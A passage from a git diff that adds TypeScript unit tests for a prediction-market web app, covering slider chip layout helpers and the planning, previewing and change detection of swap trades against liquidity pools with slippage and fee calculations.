+ // the thumb at the middle: the pill spans 120 to 180; the market at 0.9: the chip spans 250 to 290 + expect(pinGap(size, { thumb: 0.5, market: 0.9 })).toBe(70); + // the market at 0.1: the chip spans 10 to 50 + expect(pinGap(size, { thumb: 0.5, market: 0.1 })).toBe(70); + }); + + it("counts the thumb where it reaches past the pill's edge", () => { + // the thumb at 0.1, its centre at 30: the pill spans 24 to 84, the thumb's 24px circle reaches to 18 + expect(pinGap(size, { thumb: 0.1, market: 0 })).toBe(-22); + }); + + it("is negative when the chip and the pill overlap", () => { + expect(pinGap(size, { thumb: 0.5, market: 0.5 })).toBeLessThan(0); + }); + + it("reads the thumb on the market as overlapping before anything is measured", () => { + expect(pinGap({ track: 0, pill: 0, chip: 0 }, { thumb: 0.4, market: 0.4 })).toBeLessThan(0); + }); + + it("reads the thumb away from the market as clear before anything is measured", () => { + expect(pinDrop(pinGap({ track: 0, pill: 0, chip: 0 }, { thumb: 0.6, market: 0.4 }))).toBe(0); + }); +}); + +describe("droppedChipLeft", () => { + const size = { track: 311, chip: 90, lower: 30, upper: 80 }; + + it("centres the chip where no bound is in its way", () => { + expect(droppedChipLeft(size, 0.5)).toBe(chipLeft(size, 0.5)); + }); + + it("slides the chip clear of a bound, 4px off it, while it still spans the market's point", () => { + // centred at 202, the chip would run to 247 over the upper bound from 231 + expect(droppedChipLeft(size, 0.65)).toBe(311 - 80 - 4 - 90); + expect(droppedChipLeft({ ...size, upper: 120 }, 0.55)).toBe(311 - 120 - 4 - 90); + }); + + it("slides the chip clear of a bound while the market's point is within the stick's 3px of its edge", () => { + const phone = { track: 256, chip: 46, lower: 35, upper: 35 }; + // the point at 217.6 lies 0.6px past the slid chip's right edge at 217 + expect(droppedChipLeft(phone, 0.85)).toBe(256 - 35 - 4 - 46); + expect(droppedChipLeft(phone, 0.15)).toBe(35 + 4); + }); + + it("stays centred where clearing the bound would leave the market's point outside it", () => { + expect(droppedChipLeft(size, 0.98)).toBe(chipLeft(size, 0.98)); + expect(droppedChipLeft(size, 0)).toBe(0); + }); +}); + +describe("fieldMaxWidth", () => { + // a 300px track and a 40px chip + const size = { track: 300, chip: 40 }; + + it("keeps the field's edge 4px short of a raised chip on its right", () => { + // the chip spans 250 to 290; the field's right edge sits at 150 + half its width + expect(fieldMaxWidth(size, { thumb: 0.5, market: 0.9 })).toBe(192); + expect(fieldMaxWidth(size, { thumb: 0, market: 0.9 })).toBe(246); + }); + + it("keeps the field's edge 4px short of a raised chip on its left", () => { + // the chip spans 10 to 50; the field's left edge sits at 150 less half its width + expect(fieldMaxWidth(size, { thumb: 0.5, market: 0.1 })).toBe(192); + expect(fieldMaxWidth(size, { thumb: 1, market: 0.1 })).toBe(246); + }); + + it("is never narrower than the closed pill while the chip is raised", () => { + // tracks from a 320px phone to a 1280px window, pills and chips from a short value to a long unit + for (const track of [256, 311, 1112]) + for (const pill of [40, 72, 120]) + for (const chip of [46, 90]) + for (let thumb = 0; thumb <= 1; thumb += 0.02) + for (let market = 0; market <= 1; market += 0.02) { + const share = { thumb, market }; + if (pinDrop(pinGap({ track, pill, chip }, share)) === 1) continue; + expect(fieldMaxWidth({ track, chip }, share)).toBeGreaterThan(pill); + } + }); + + it("sets no cap before the track is measured", () => { + expect(fieldMaxWidth({ track: 0, chip: 0 }, { thumb: 0.5, market: 0.9 })).toBe(Number.POSITIVE_INFINITY); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/plan.test.ts b/apps/web/src/features/predict/utils/__tests__/plan.test.ts new file mode 100644 index 00000000..33f4d0d4 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/plan.test.ts @@ -0,0 +1,674 @@ +import { describe, expect, it } from "vitest"; + +import type { PoolLiquidity } from "@/types/pool"; + +import { MAX_SLIPPAGE_BPS, PRICE_TOLERANCE_TICKS, SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { + atEstimate, + buyBudgetShareBps, + MIN_LEG_WEI, + planBuys, + planSells, + LEG_HEADROOM_BPS, + planChanged, + previewTrades, + type OptionTarget, + type PreviewTrades, + type SwapLeg, +} from "../plan"; +import { isqrt, swapToward } from "../poolMath"; + +const WAD = 10n ** 18n; + +/** Sqrt prices exact at X96, so a volume to target is a round number. */ +const AT = { "0.0625": 2n ** 94n, "0.25": 2n ** 95n, "1": 2n ** 96n } as const; + +const pool = (sqrtPriceX96: bigint, liquidity = WAD): PoolLiquidity => ({ + sqrtPriceX96, + tick: 0, + liquidity, + fee: 0n, + ticks: [], + outcomeIsToken0: true, +}); + +/** Each leg's side and size, leaving its limit to the tests about limits. */ +const sized = (legs: SwapLeg[]) => legs.map(({ side, amountIn }) => ({ side, amountIn })); + +/** Deep enough that a leg is never capped by the pool, only by the budget. */ +const DEEP = 10n ** 30n; + +const option = (overrides: Partial = {}): OptionTarget => ({ + pools: { up: pool(AT["1"]), down: pool(AT["0.25"], DEEP) }, + targetPriceWad: WAD / 4n, + held: { up: 0n, down: 0n, invalid: 0n }, + splitAmount: WAD, + ...overrides, +}); + +describe("planSells", () => { + it("sells the side the market holds above the estimate", () => { + // UP sits at 1 and the estimate puts it at 0.25, so UP sells and DOWN does not + const legs = planSells(option()); + + expect(sized(legs)).toEqual([{ side: "up", amountIn: 1000000000000000000n }]); + }); + + it("sells no more than the executor will hold", () => { + const legs = planSells(option({ splitAmount: WAD / 4n })); + + expect(sized(legs)).toEqual([{ side: "up", amountIn: 250000000000000000n }]); + }); + + it("counts what the executor already holds alongside the split", () => { + const legs = planSells(option({ held: { up: WAD / 4n, down: 0n, invalid: 0n }, splitAmount: WAD / 4n })); + + expect(sized(legs)).toEqual([{ side: "up", amountIn: 500000000000000000n }]); + }); + + it("drops a leg too small to be worth its gas", () => { + expect(planSells(option({ splitAmount: MIN_LEG_WEI - 1n }))).toEqual([]); + expect(sized(planSells(option({ splitAmount: MIN_LEG_WEI })))).toEqual([{ side: "up", amountIn: MIN_LEG_WEI }]); + }); + + it("sells both sides when the two pools disagree with the estimate the same way", () => { + const legs = planSells(option({ pools: { up: pool(AT["1"]), down: pool(AT["1"]) }, targetPriceWad: WAD / 4n })); + + expect(legs.map((leg) => leg.side)).toEqual(["up", "down"]); + }); + + it("leaves a pool that never priced alone, whichever side of it the outcome is", () => { + const asToken1 = { sqrtPriceX96: 0n, liquidity: WAD, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: false }; + + expect(planSells(option({ pools: { up: asToken1, down: pool(AT["1"]) } })).map((leg) => leg.side)).toEqual([ + "down", + ]); + }); + + it("leaves a pool that never priced alone", () => { + const legs = planSells(option({ pools: { up: pool(0n), down: pool(AT["1"]) } })); + + expect(legs.map((leg) => leg.side)).toEqual(["down"]); + }); +}); + +describe("the limit on each leg", () => { + it("stops a sell at the target and expects what selling down to it pays", () => { + const [leg] = planSells(option()); + + // UP falls from 1 to the 0.25 target, so sqrtP 1 to 0.5: x rises 1e18 to 2e18, y falls 1e18 to 0.5e18 + expect(leg).toEqual({ + side: "up", + amountIn: WAD, + limitSqrtPrice: AT["0.25"], + amountInAtLimit: WAD, + amountOutAtLimit: WAD / 2n, + }); + }); + + it("stops a buy at the target and expects what buying up to it returns", () => { + const rising = option({ pools: { up: pool(AT["0.0625"]), down: pool(AT["1"]) }, targetPriceWad: WAD / 4n }); + + const { legs } = planBuys(rising, [{ side: "down", amountIn: WAD, underlyingOut: WAD * 10n }], SLIPPAGE_BPS); + + // UP climbs 0.0625 to 0.25, so sqrtP 0.25 to 0.5: x falls 4e18 to 2e18, y rises 0.25e18 to 0.5e18 + expect(legs).toEqual([ + { + side: "up", + // a hundredth of headroom on top of the 0.25 the pool needs + amountIn: ((WAD / 4n) * 101n) / 100n, + limitSqrtPrice: AT["0.25"], + amountInAtLimit: WAD / 4n, + amountOutAtLimit: WAD * 2n, + }, + ]); + }); + + it("stops a sell at the target's own sqrt price, never short of it", () => { + // 0.3 has no exact sqrt price, so a sell has to round its limit up to stay at or above it + const target = (WAD * 3n) / 10n; + const [leg] = planSells(option({ targetPriceWad: target })); + + expect(leg!.limitSqrtPrice * leg!.limitSqrtPrice * WAD).toBeGreaterThanOrEqual(target * AT["1"] * AT["1"]); + expect((leg!.limitSqrtPrice - 1n) * (leg!.limitSqrtPrice - 1n) * WAD).toBeLessThan(target * AT["1"] * AT["1"]); + }); + + it("expects a sell offered headroom to spend only what reaching the target takes", () => { + // 2 UP held covers the 1 UP the pool takes to fall to 0.25, plus the headroom + const [leg] = planSells(option({ splitAmount: WAD * 2n })); + + expect(leg).toEqual({ + side: "up", + amountIn: (WAD * 101n) / 100n, + limitSqrtPrice: AT["0.25"], + amountInAtLimit: WAD, + amountOutAtLimit: WAD / 2n, + }); + }); + + it("expects a sell its balance cuts short to still need the whole way to the target", () => { + const [leg] = planSells(option({ splitAmount: WAD / 4n })); + + expect(leg).toEqual({ + side: "up", + amountIn: WAD / 4n, + limitSqrtPrice: AT["0.25"], + amountInAtLimit: WAD, + amountOutAtLimit: WAD / 2n, + }); + }); + + it("offers the headroom on a sell the balance covers", () => { + const [leg] = planSells(option({ splitAmount: WAD * 2n })); + + expect(leg!.amountIn).toBe((WAD * 101n) / 100n); + }); +}); + +describe("planBuys", () => { + it("spends the sells' proceeds on the side being bought", () => { + const plan = planBuys(option(), [{ side: "up", amountIn: WAD, underlyingOut: (WAD * 4n) / 10n }], SLIPPAGE_BPS); + + // The whole UP balance went, so only the sale proceeds fund the buy. + expect(plan.mergeAmount).toBe(0n); + expect(sized(plan.legs)).toEqual([ + { side: "down", amountIn: (((WAD * 4n) / 10n) * buyBudgetShareBps(SLIPPAGE_BPS)) / 10_000n }, + ]); + }); + + it("merges the pairs left over and spends those too", () => { + const plan = planBuys(option(), [{ side: "up", amountIn: WAD / 2n, underlyingOut: WAD / 5n }], SLIPPAGE_BPS); + + // Half the pairs remain, so the buy can spend both their merge and the sale proceeds. + expect(plan.mergeAmount).toBe(WAD / 2n); + expect(sized(plan.legs)).toEqual([ + { side: "down", amountIn: ((WAD / 5n + WAD / 2n) * buyBudgetShareBps(SLIPPAGE_BPS)) / 10_000n }, + ]); + }); + + it("keeps back more of the budget when the slippage setting is wider", () => { + const plan = planBuys(option(), [{ side: "up", amountIn: WAD, underlyingOut: (WAD * 4n) / 10n }], 300); + + // The wider slippage leaves less of the proceeds available to buy. + expect(sized(plan.legs)).toEqual([ + { side: "down", amountIn: (((WAD * 4n) / 10n) * buyBudgetShareBps(300)) / 10_000n }, + ]); + }); + + it("never buys with more than the sells pay when each fills at its minimum", () => { + const both = option({ + pools: { up: pool(AT["0.25"], DEEP), down: pool(AT["0.0625"], DEEP) }, + targetPriceWad: (WAD * 75n) / 100n, + held: { up: WAD * 3n, down: WAD, invalid: WAD }, + }); + + for (const slippageBps of [0, 1, 50, 100, 300, 999, 2500]) { + for (const sells of [ + [{ side: "up" as const, amountIn: WAD * 3n, underlyingOut: WAD + 7n }], + [{ side: "up" as const, amountIn: WAD, underlyingOut: 333_333_333_333_333_333n }], + [ + { side: "up" as const, amountIn: WAD, underlyingOut: (WAD * 2n) / 3n }, + { side: "up" as const, amountIn: WAD / 3n, underlyingOut: WAD / 7n }, + ], + ]) { + const plan = planBuys(both, sells, slippageBps); + + const worstProceeds = sells.reduce( + (sum, leg) => sum + (leg.underlyingOut * BigInt(10_000 - slippageBps)) / 10_000n, + 0n, + ); + const spent = plan.legs.reduce((sum, leg) => sum + leg.amountIn, 0n); + expect(plan.legs.length).toBeGreaterThan(0); + expect(spent).toBeLessThan(worstProceeds + plan.mergeAmount); + } + } + }); + + it("merges no more sets than it holds INVALID for", () => { + const bought = option({ + pools: { up: pool(AT["1"]), down: pool(AT["0.25"], DEEP) }, + held: { up: WAD, down: WAD, invalid: WAD / 4n }, + splitAmount: 0n, + }); + + const plan = planBuys(bought, [], SLIPPAGE_BPS); + + expect(plan.mergeAmount).toBe(WAD / 4n); + }); + + it("splits the budget between two buys by how far each has to travel", () => { + // the estimate puts UP at 0.75 and so DOWN at 0.25: UP climbs 0.5 from 0.25, DOWN climbs + // 0.1875 from 0.0625, with 11 of collateral merging to fund both. + const both = option({ + pools: { up: pool(AT["0.25"], DEEP), down: pool(AT["0.0625"], DEEP) }, + targetPriceWad: (WAD * 75n) / 100n, + held: { up: WAD * 11n, down: WAD * 11n, invalid: WAD * 11n }, + splitAmount: 0n, + }); + + const plan = planBuys(both, [], SLIPPAGE_BPS); + + // 0.5 and 0.1875 of 0.6875 are 8 and 3 elevenths of the budget + const budget = (WAD * 11n * buyBudgetShareBps(SLIPPAGE_BPS)) / 10_000n; + expect(sized(plan.legs)).toEqual([ + { side: "up", amountIn: (budget * 8n) / 11n }, + { side: "down", amountIn: (budget * 3n) / 11n }, + ]); + }); + + describe("when both sides are bought and one needs less than its share", () => { + // both pools at 0.25 against an estimate of 0.5 each; UP is thin, DOWN thirty times deeper + const both = option({ + pools: { up: pool(AT["0.25"], WAD), down: pool(AT["0.25"], WAD * 30n) }, + targetPriceWad: WAD / 2n, + held: { up: WAD * 10n, down: WAD * 10n, invalid: WAD * 10n }, + splitAmount: 0n, + }); + + it("gives the deeper side what the thin one leaves, so both reach the estimate the budget covers", () => { + const plan = planBuys(both, [], SLIPPAGE_BPS); + const need = plan.legs.reduce((sum, leg) => sum + leg.amountInAtLimit, 0n); + + expect(need).toBeLessThan((WAD * 10n * buyBudgetShareBps(SLIPPAGE_BPS)) / 10_000n); + for (const leg of plan.legs) { + expect(leg.amountIn, `${leg.side} is given what reaching its target takes`).toBeGreaterThanOrEqual( + leg.amountInAtLimit, + ); + } + }); + + it("previews DOWN reaching its estimate", () => { + const down = previewTrades(both, SLIPPAGE_BPS)!.buys.find((leg) => leg.side === "down")!; + + expect(swapToward(both.pools.down, WAD / 2n, down.amountIn).priceWad).toBe(WAD / 2n); + }); + + it("never spends more than the budget across both buys", () => { + const plan = planBuys(both, [], SLIPPAGE_BPS); + const budget = (WAD * 10n * buyBudgetShareBps(SLIPPAGE_BPS)) / 10_000n; + + expect(plan.legs.reduce((sum, leg) => sum + leg.amountIn, 0n)).toBeLessThanOrEqual(budget); + }); + }); + + it("keeps the pool's own limit when it is the smaller of the two", () => { + const shallow = option({ + pools: { up: pool(AT["1"]), down: pool(AT["0.25"], WAD) }, + targetPriceWad: WAD / 4n, + }); + + const plan = planBuys(shallow, [{ side: "up", amountIn: WAD, underlyingOut: WAD * 100n }], SLIPPAGE_BPS); + + // the budget dwarfs what moving DOWN from 0.25 to 0.75 actually takes + expect(plan.legs[0]!.amountIn).toBeLessThan((WAD * 100n * buyBudgetShareBps(SLIPPAGE_BPS)) / 10_000n); + }); + + it("does nothing for an option the market already agrees with", () => { + const agreed = option({ + pools: { up: pool(AT["0.25"], DEEP), down: pool(0n) }, + targetPriceWad: WAD / 4n, + held: { up: WAD, down: WAD, invalid: WAD }, + splitAmount: 0n, + }); + + const plan = planBuys(agreed, [], SLIPPAGE_BPS); + + // nothing was sold and nothing will be bought, so its pairs are left where they are + expect(plan.legs).toEqual([]); + expect(plan.mergeAmount).toBe(0n); + }); + + it("merges the pairs a sell leaves behind even when there is nothing to buy", () => { + const bothSelling = option({ pools: { up: pool(AT["1"]), down: pool(AT["1"]) } }); + + const plan = planBuys(bothSelling, [{ side: "up", amountIn: WAD / 2n, underlyingOut: WAD / 5n }], SLIPPAGE_BPS); + + // half the UP went, so half of what was split is still paired and comes back as underlying + expect(plan.legs).toEqual([]); + expect(plan.mergeAmount).toBe(WAD / 2n); + }); + + it("caps the partially funded second buy during redistribution", () => { + const target = option({ + pools: { up: pool(AT["0.25"], WAD), down: pool(AT["0.25"], 30n * WAD) }, + targetPriceWad: WAD / 2n, + splitAmount: 10n * WAD, + }); + const plan = planBuys(target, [], 100); + // 30 * (sqrt(0.5) - 0.5) * 1.01 is less than 6.4, including headroom. + expect(plan.legs.find((leg) => leg.side === "down")!.amountIn).toBeLessThan((64n * WAD) / 10n); + }); +}); + +describe("the buy budget's share of what the sells and merge return", () => { + it("stays below what every slippage setting leaves, from none to the cap", () => { + for (let slippageBps = 0; slippageBps <= MAX_SLIPPAGE_BPS; slippageBps += 1) { + expect(buyBudgetShareBps(slippageBps) + BigInt(slippageBps)).toBeLessThan(10_000n); + } + }); + + for (const slippageBps of [SLIPPAGE_BPS, 300]) { + it(`is what planBuys spends of the proceeds and the merge, at ${slippageBps / 100}% slippage`, () => { + // 0.5 UP and 1 DOWN remain after the sell, so 0.5 merges; the DOWN pool is deep enough not to cap the leg + const plan = planBuys(option(), [{ side: "up", amountIn: WAD / 2n, underlyingOut: WAD / 5n }], slippageBps); + + expect(plan.mergeAmount).toBe(WAD / 2n); + expect(sized(plan.legs)).toEqual([ + { side: "down", amountIn: ((WAD / 5n + WAD / 2n) * buyBudgetShareBps(slippageBps)) / 10_000n }, + ]); + }); + } +}); + +describe("previewTrades", () => { + const near = (actual: bigint, expected: bigint) => + expect(actual > expected ? actual - expected : expected - actual).toBeLessThan(10n ** 12n); + + it("splits what the option is given, exactly", () => { + expect(previewTrades(option({ splitAmount: 3n * WAD }), SLIPPAGE_BPS)?.split).toBe(3n * WAD); + }); + + it("sells as much as the split holds, and expects what the pool pays down to the estimate", () => { + // selling 1 UP into a 1-liquidity pool at sqrtP 1 lands on sqrtP 0.5: 0.5 underlying out + const trades = previewTrades(option(), SLIPPAGE_BPS)!; + + expect(trades.sells.map(({ side, amountIn }) => ({ side, amountIn }))).toEqual([{ side: "up", amountIn: WAD }]); + near(trades.sells[0]!.underlyingOut, WAD / 2n); + }); + + it("shows a sell the limit stops at the estimate as what reaching it takes, and merges what the run plans", () => { + // reaching 0.25 takes 1 UP; the run sells that plus headroom and merges the rest of the 2 split + const planned = (WAD * (10_000n + LEG_HEADROOM_BPS)) / 10_000n; + const trades = previewTrades(option({ splitAmount: 2n * WAD }), SLIPPAGE_BPS)!; + + near(trades.sells[0]!.amountIn, WAD); + expect(trades.sells[0]!.toTarget).toBe(true); + expect(trades.merge).toBe(2n * WAD - planned); + near(trades.sells[0]!.underlyingOut, WAD / 2n); + }); + + it("shows a sell the balance runs out on at its whole amount, not as reaching the estimate", () => { + const trades = previewTrades(option({ splitAmount: WAD / 2n }), SLIPPAGE_BPS)!; + + expect(trades.sells[0]).toMatchObject({ amountIn: WAD / 2n, toTarget: false }); + }); + + it("shows a buy the limit stops at the estimate as what reaching it takes", () => { + // the DOWN sale pays far more than lifting a 1-liquidity UP pool from 0.25 to 0.5 takes + const trades = previewTrades( + option({ + pools: { up: pool(AT["0.25"]), down: pool(AT["1"], DEEP) }, + targetPriceWad: WAD / 2n, + splitAmount: 50n * WAD, + }), + SLIPPAGE_BPS, + )!; + const buy = trades.buys.find((leg) => leg.side === "up")!; + + expect(buy.toTarget).toBe(true); + near(trades.to, WAD / 2n); + }); + + it("buys with the expected proceeds and the merge, and expects what the pool returns for them", () => { + // DOWN at 0.25 in a deep pool returns about 4 DOWN per underlying + const trades = previewTrades(option(), SLIPPAGE_BPS)!; + + expect(trades.buys.map(({ side }) => side)).toEqual(["down"]); + near(trades.buys[0]!.amountIn, ((WAD / 2n) * buyBudgetShareBps(SLIPPAGE_BPS)) / 10_000n); + near(trades.buys[0]!.outcomeOut, 4n * trades.buys[0]!.amountIn); + }); + + it("moves UP to the estimate when the split covers the sell", () => { + const trades = previewTrades(option(), SLIPPAGE_BPS); + + expect(trades?.from).toBe(WAD); + near(trades!.to, WAD / 4n); + }); + + it("stops short of the estimate when the split runs out", () => { + // 0.5 UP lands on sqrtP 2/3 + const trades = previewTrades(option({ splitAmount: WAD / 2n }), SLIPPAGE_BPS); + + near(trades!.to, 444444444444444444n); + }); + + it("lifts UP toward an estimate above the market with what the DOWN sale pays", () => { + const trades = previewTrades( + option({ pools: { up: pool(AT["0.25"]), down: pool(AT["1"]) }, targetPriceWad: WAD / 2n }), + SLIPPAGE_BPS, + ); + + expect(trades!.to).toBeGreaterThan(trades!.from); + expect(trades!.to).toBeLessThanOrEqual(WAD / 2n); + }); + + it("has no legs, no split and no merge for an option the market already agrees with", () => { + const agreed = option({ + pools: { up: pool(AT["0.25"], DEEP), down: pool(0n) }, + held: { up: WAD, down: WAD, invalid: WAD }, + splitAmount: WAD, + }); + + expect(previewTrades(agreed, SLIPPAGE_BPS)).toEqual({ + split: 0n, + sells: [], + merge: 0n, + buys: [], + from: WAD / 4n, + to: WAD / 4n, + feeValue: 0n, + }); + }); + + it("leaves the market where it is with nothing to trade", () => { + const trades = previewTrades(option({ splitAmount: 0n }), SLIPPAGE_BPS); + + expect(trades).toMatchObject({ sells: [], buys: [], from: WAD, to: WAD }); + }); + + it("names each leg's pool fee in the token it spends, at the pool's own rate", () => { + // 0.3% on UP's pool, 1% on DOWN's, in millionths as Algebra holds them + const feed = option({ + pools: { up: { ...pool(AT["1"]), fee: 3_000n }, down: { ...pool(AT["0.25"], DEEP), fee: 10_000n } }, + }); + const trades = previewTrades(feed, SLIPPAGE_BPS)!; + const [sell] = trades.sells; + const [buy] = trades.buys; + + expect(sell!.fee).toBe((sell!.amountIn * 3_000n + 999_999n) / 1_000_000n); + expect(buy!.fee).toBe((buy!.amountIn * 10_000n + 999_999n) / 1_000_000n); + }); + + it("totals the fees in underlying, a sell's outcome-token fee at what that sell pays per token", () => { + const feed = option({ + pools: { up: { ...pool(AT["1"]), fee: 3_000n }, down: { ...pool(AT["0.25"], DEEP), fee: 10_000n } }, + }); + const { sells, buys, feeValue } = previewTrades(feed, SLIPPAGE_BPS)!; + + expect(feeValue).toBe((sells[0]!.fee * sells[0]!.underlyingOut) / sells[0]!.amountIn + buys[0]!.fee); + }); + + it("names no fee on a pool that takes none", () => { + const trades = previewTrades(option(), SLIPPAGE_BPS)!; + + expect([...trades.sells, ...trades.buys].map((leg) => leg.fee)).toEqual([0n, 0n]); + expect(trades.feeValue).toBe(0n); + }); + + it("has nothing to show for an UP pool that never priced", () => { + expect(previewTrades(option({ pools: { up: pool(0n), down: pool(AT["0.25"]) } }), SLIPPAGE_BPS)).toBeNull(); + }); + + it("keeps the preview price on UP when both asymmetric sides sell", () => { + const target = option({ + pools: { up: pool(AT["1"]), down: pool(AT["1"]) }, + targetPriceWad: WAD / 4n, + splitAmount: 10n * WAD, + }); + expect(previewTrades(target, 100)).toMatchObject({ to: WAD / 4n, buys: [] }); + }); + + it("retains the split amount for a buy-only preview", () => { + const target = option({ + pools: { up: pool(AT["0.25"], DEEP), down: pool(0n) }, + targetPriceWad: WAD / 2n, + splitAmount: WAD, + }); + expect(previewTrades(target, 100)).toMatchObject({ split: WAD, sells: [] }); + }); +}); + +describe("planChanged", () => { + const shown = previewTrades(option(), SLIPPAGE_BPS)!; + /** Each figure of `trades` scaled by `bps` of ten thousand. */ + const scaled = (trades: PreviewTrades, bps: bigint): PreviewTrades => { + const by = (value: bigint) => (value * bps) / 10_000n; + return { + ...trades, + sells: trades.sells.map((leg) => ({ ...leg, amountIn: by(leg.amountIn), underlyingOut: by(leg.underlyingOut) })), + buys: trades.buys.map((leg) => ({ ...leg, amountIn: by(leg.amountIn), outcomeOut: by(leg.outcomeOut) })), + merge: by(trades.merge), + to: by(trades.to), + }; + }; + + it("holds a plan the pools still give, figure for figure", () => { + expect(planChanged(shown, previewTrades(option(), SLIPPAGE_BPS)!, SLIPPAGE_BPS)).toBe(false); + }); + + it("holds a plan whose figures moved by no more than the slippage allowed", () => { + expect(planChanged(shown, scaled(shown, 10_000n - BigInt(SLIPPAGE_BPS) + 1n), SLIPPAGE_BPS)).toBe(false); + expect(planChanged(shown, scaled(shown, 10_000n + BigInt(SLIPPAGE_BPS)), SLIPPAGE_BPS)).toBe(false); + }); + + it("names a plan whose figures moved by more than the slippage allowed", () => { + expect(planChanged(shown, scaled(shown, 10_000n - BigInt(SLIPPAGE_BPS) - 1n), SLIPPAGE_BPS)).toBe(true); + }); + + it("names a plan where only the price it lands at moved past the slippage allowed", () => { + const now = { ...shown, to: (shown.to * (10_000n + BigInt(SLIPPAGE_BPS) * 2n)) / 10_000n }; + + expect(planChanged(shown, now, SLIPPAGE_BPS)).toBe(true); + }); + + it("names a plan that now trades another side, or one leg more or fewer", () => { + const [sell] = shown.sells; + expect(planChanged(shown, { ...shown, sells: [{ ...sell!, side: "down" }] }, SLIPPAGE_BPS)).toBe(true); + expect(planChanged(shown, { ...shown, buys: [] }, SLIPPAGE_BPS)).toBe(true); + }); + + it("names a plan whose amount now stops short of the estimate, or now reaches it", () => { + const [buy] = shown.buys; + expect(planChanged(shown, { ...shown, buys: [{ ...buy!, toTarget: !buy!.toTarget }] }, SLIPPAGE_BPS)).toBe(true); + }); +}); + +describe("price and amount review boundaries", () => { + it.each([ + ["above", AT["1"], WAD / 4n], + ["below", AT["0.0625"], WAD / 4n], + ["unpriced", 0n, WAD / 4n], + ])("does not call an %s pool at its estimate", (_, price, targetPriceWad) => { + expect(atEstimate({ pools: { up: pool(price), down: pool(0n) }, targetPriceWad })).toBe(false); + }); + it("requires every priced side to reach its estimate", () => { + expect(atEstimate({ pools: { up: pool(AT["0.25"]), down: pool(AT["1"]) }, targetPriceWad: WAD / 4n })).toBe(false); + }); + it("accepts the upper price tolerance boundary", () => { + const ticks = BigInt(PRICE_TOLERANCE_TICKS); + const targetPriceWad = WAD; + const boundary = (targetPriceWad * 10_001n ** ticks) / 10_000n ** ticks; + // Pick the first sqrt price whose WAD-rounded price reaches the boundary. + const root = isqrt((boundary * 2n ** 192n) / WAD); + const price = root ** 2n * WAD < boundary * 2n ** 192n ? root + 1n : root; + expect(price ** 2n * WAD).toBeGreaterThanOrEqual(boundary * 2n ** 192n); + expect((price - 1n) ** 2n * WAD).toBeLessThan(boundary * 2n ** 192n); + expect(atEstimate({ pools: { up: pool(price), down: pool(0n) }, targetPriceWad })).toBe(true); + }); + it("accepts the lower price tolerance boundary", () => { + const ticks = BigInt(PRICE_TOLERANCE_TICKS); + const price = AT["1"]; + const targetPriceWad = (WAD * 10_001n ** ticks) / 10_000n ** ticks; + expect(price ** 2n * WAD).toBe(WAD * 2n ** 192n); + expect((price + 1n) ** 2n * WAD).toBeGreaterThan(WAD * 2n ** 192n); + expect(atEstimate({ pools: { up: pool(price), down: pool(0n) }, targetPriceWad })).toBe(true); + }); + const shown: PreviewTrades = { + split: 0n, + merge: 0n, + from: 0n, + to: 0n, + feeValue: 0n, + sells: [{ side: "up", amountIn: 1000n, underlyingOut: 400n, fee: 0n, toTarget: false }], + buys: [{ side: "down", amountIn: 600n, outcomeOut: 2000n, fee: 0n, toTarget: false }], + }; + it.each(["amountIn", "underlyingOut"] as const)("reviews a sell-only %s change", (field) => { + const now = { ...shown, sells: [{ ...shown.sells[0]!, [field]: 1n }] }; + expect(planChanged(shown, now, 100)).toBe(true); + }); + it.each(["amountIn", "outcomeOut"] as const)("reviews a buy-only %s change", (field) => { + const now = { ...shown, buys: [{ ...shown.buys[0]!, [field]: 1n }] }; + expect(planChanged(shown, now, 100)).toBe(true); + }); + it("holds identical empty leg lists", () => { + const empty = { ...shown, sells: [], buys: [] }; + expect(planChanged(empty, empty, 100)).toBe(false); + }); + it("consumes the remaining budget after the thin buy caps", () => { + const both = option({ + pools: { up: pool(AT["0.25"], WAD), down: pool(AT["0.25"], WAD * 300n) }, + targetPriceWad: WAD / 2n, + held: { up: 10n * WAD, down: 10n * WAD, invalid: 10n * WAD }, + splitAmount: 0n, + }); + const plan = planBuys(both, [], 100); + expect(plan.legs.reduce((total, leg) => total + leg.amountIn, 0n)).toBe( + (10n * WAD * buyBudgetShareBps(100)) / 10_000n, + ); + expect(plan.legs.find((leg) => leg.side === "up")!.amountIn).toBeLessThan(WAD); + expect(plan.legs.find((leg) => leg.side === "down")!.amountIn).toBeGreaterThan( + (10n * WAD * buyBudgetShareBps(100)) / 10_000n - WAD, + ); + }); +}); + +describe("buy sizing boundaries", () => { + it("rounds a token0 buy limit down without passing the target", () => { + const targetPriceWad = (3n * WAD) / 10n; + const target = option({ + pools: { up: pool(2n ** 95n, DEEP), down: pool(0n) }, + targetPriceWad, + }); + const limit = planBuys(target, [], 100).legs[0]!.limitSqrtPrice; + expect(limit ** 2n * WAD).toBeLessThanOrEqual(targetPriceWad * 2n ** 192n); + expect((limit + 1n) ** 2n * WAD).toBeGreaterThan(targetPriceWad * 2n ** 192n); + }); + it("rounds an inverted buy limit up without passing the target", () => { + const targetPriceWad = (3n * WAD) / 10n; + const target = option({ + pools: { up: { ...pool(2n ** 97n, DEEP), outcomeIsToken0: false }, down: pool(0n) }, + targetPriceWad, + }); + const limit = planBuys(target, [], 100).legs[0]!.limitSqrtPrice; + expect(limit ** 2n * targetPriceWad).toBeGreaterThanOrEqual(WAD * 2n ** 192n); + expect((limit - 1n) ** 2n * targetPriceWad).toBeLessThan(WAD * 2n ** 192n); + }); + it("retains a buy whose input equals the minimum leg", () => { + const share = buyBudgetShareBps(100); + const amount = (MIN_LEG_WEI * 10_000n + share - 1n) / share; + const target = option({ + pools: { up: pool(AT["0.25"], DEEP), down: pool(0n) }, + targetPriceWad: WAD / 2n, + splitAmount: amount, + }); + expect(sized(planBuys(target, [], 100).legs)).toEqual([{ side: "up", amountIn: MIN_LEG_WEI }]); + }); + it("retains the split amount for a sell-only preview", () => { + const target = option({ pools: { up: pool(AT["1"]), down: pool(0n) }, splitAmount: WAD }); + expect(previewTrades(target, 100)).toMatchObject({ + split: WAD, + buys: [], + sells: [{ side: "up", amountIn: WAD, underlyingOut: WAD / 2n, toTarget: false }], + }); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/poolMath.test.ts b/apps/web/src/features/predict/utils/__tests__/poolMath.test.ts new file mode 100644 index 00000000..81ef93b1 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/poolMath.test.ts @@ -0,0 +1,383 @@ 